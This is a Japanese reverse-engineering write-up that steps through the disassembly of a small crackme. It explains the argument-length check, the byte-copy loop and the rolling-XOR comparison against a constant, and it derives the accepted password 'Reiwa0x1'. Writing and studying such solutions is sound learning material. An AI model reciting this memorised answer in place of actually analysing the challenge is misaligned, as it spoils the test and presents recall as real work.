1→コマンドライン引数の個数の確認(1つ以外は返り値1)
2→ecx=0を格納
3~6→ループによって引数を1文字づつスキャンしメモリに格納
7→文字数の判定(8byte以外は返り値1)
8→r8d=0xffffffcc
9→ecx=0を格納
10~13→ループによって引数を1文字づつ引数を演算
14→演算結果がr10と等しいとき返り値に0
となります。このプログラムにおいて重要な処理は3~6,10~13なので、以下に詳しく記します。
3~6の処理
3~6のループは6でeax=0x2が格納され、次の550からの演算で3にジャンプする仕組みになっています。このループから抜け出すパターンは2つ。3でecx>7を満たし63eにジャンプするパターンと、BYTE PTR [rsp+rax*1-0x8]==0を満たしeax=0x6を格納させるパターンです。6は処理が行われる度にecxはインクリメントされているので、9回目のループで抜け出せることがわかります。(ecx=0x0~0x8)。
重要なのは4の下記の部分です。
650: 4c 8b 5e 08 mov r11,QWORD PTR [rsi+0x8] 654: 48 63 c1 movsxd rax,ecx : 65f: 45 0f b6 1c 03 movzx r11d,BYTE PTR [r11+rax*1] 664: 44 88 5c 04 f8 mov BYTE PTR [rsp+rax*1-0x8],r11b
前述したようにrsiレジスタが使われていることから、r11には引数が格納されていると予想できます。eaxはインクリメントされているため、raxの値もループする度に0x1加算されます。これにより65f,664の演算も0x1づつ変化し、BYTE PTRとしてデータを扱っていることから、引数の文字列を1文字づつスキャンし格納していると考えることができます。
レジスタについて(64bit Linuxの場合) 汎用レジスタのr10,r11は自由に使っていいレジスタで、特に使用に制限がありません。ちなみにr8,r9は引数を入れるレジスタとして使われます。 ここでr11d,r11bレジスタはr11の下位4byte(DWORD)、下位1byte(BYTE)のことを表しています。ここをおさえないと10~13の処理を理解する上でつまづきます(つまづきました)。d,w,bは頭文字をとっていることを頭に入れておくといいかもしれません。
10~13の処理
10~13のループでは13の568でeax=0x9となり、577でeax<=0xd(eax=0x9なので必ずtrueになる)のとき559にジャンプ、559でeax=0x9として演算されるため10に戻る仕組みになっています。 10の処理を見ると、ecx<=0x7のときは6e1へジャンプします。6e1ではeax=0xaが格納され、11に移動します。9の5e8でecx=0が代入されていること、13の574でecxがインクリメントされていることから、8回目のループで抜け出せることがわかります。6e1へのジャンプを回避すると5c9でeax=0xdとなり、14に移ることができます。
続いて11,12です。ここが最も重要です。
5a0: 48 63 c1 movsxd rax,ecx 5a3: 45 8d 1c 08 lea r11d,[r8+rcx*1] 5a7: c7 44 24 f4 0b 00 00 mov DWORD PTR [rsp-0xc],0xb 5ae: 00 5af: 44 30 5c 04 f8 xor BYTE PTR [rsp+rax*1-0x8],r11b
rax=ecxとなるためループ毎にraxもインクリメントされていくことがわかります。次のlea命令は、r8+rcx*1の演算結果のアドレスがr11dに格納されます。r8d=0xffffffcc(r8dはr8の下位4byte)、rcxの初回の値は0(ecxはrcxの下位4byte)なのでr11dには0xffffffccが格納されていることがわかります。eaxに0xbを代入した後、r11b(r11dの下位1byte)と入力された引数の文字列とでxor演算を行っています。1byteはすなわち1文字分です。
588: 48 63 c1 movsxd rax,ecx 58b: c7 44 24 f4 0c 00 00 mov DWORD PTR [rsp-0xc],0xc 592: 00 593: 44 0f b6 44 04 f8 movzx r8d,BYTE PTR [rsp+rax*1-0x8]
rax=ecxとなるためこちらもループ毎にraxがインクリメントされていきます。eaxに0xcを代入したのち、r8dに11でxorされた演算結果が格納されます。movzxは、BYTE PTR [rsp+rax*1-0x8]では足りないr8dのbitを0で埋める命令です。
答え
10~13のループにより引数を1byteづつ、計8回xorで演算した結果がQWORD PTR [rsp-0x8]に格納されます。14よりその値がr10、すなわち0xedd5a792ef95fa9e(53fより)と等しければ返り値0となります。 つまりr10を1byteづつに区切り、初回のr11bの値をもとに計算式を立てると以下のようになります。
引数の1文字目 xor 0xcc(r11b) = 0x9e(r10)
r11bはr11d下位1byte、つまり0xffffffccの下位1byteなので0xccとなります。 r10はリトルエンディアンを考慮し1byteづつに区切ると、先頭から0x9e,0xfa,0x95,0xef,0x92,0xa7,0xd5,0xed となります。
引数の1文字目 xor 0xcc(r11b) = 0x9e(r10)
より
引数の1文字目 = 0xcc xor 0x9e = 0x52
0x52はasciiコードで'R'を意味するので頭文字はRであることがわかりました。 これ以降は、raxがインクリメントされていることに注意し、r10のデータに加算して計算します。すると
2(文字目) xor 0x9f = 0xfa 3 xor 0xfc = 0x95 4 xor 0x98 = 0xef 5 xor 0xf3 = 0x92 6 xor 0x97 = 0xa7 7 xor 0xad = 0xd5 8 xor 0xdc = 0xed
となり、1文字目から8文字目までの文字を順に並べると
Reiwa0x1となります!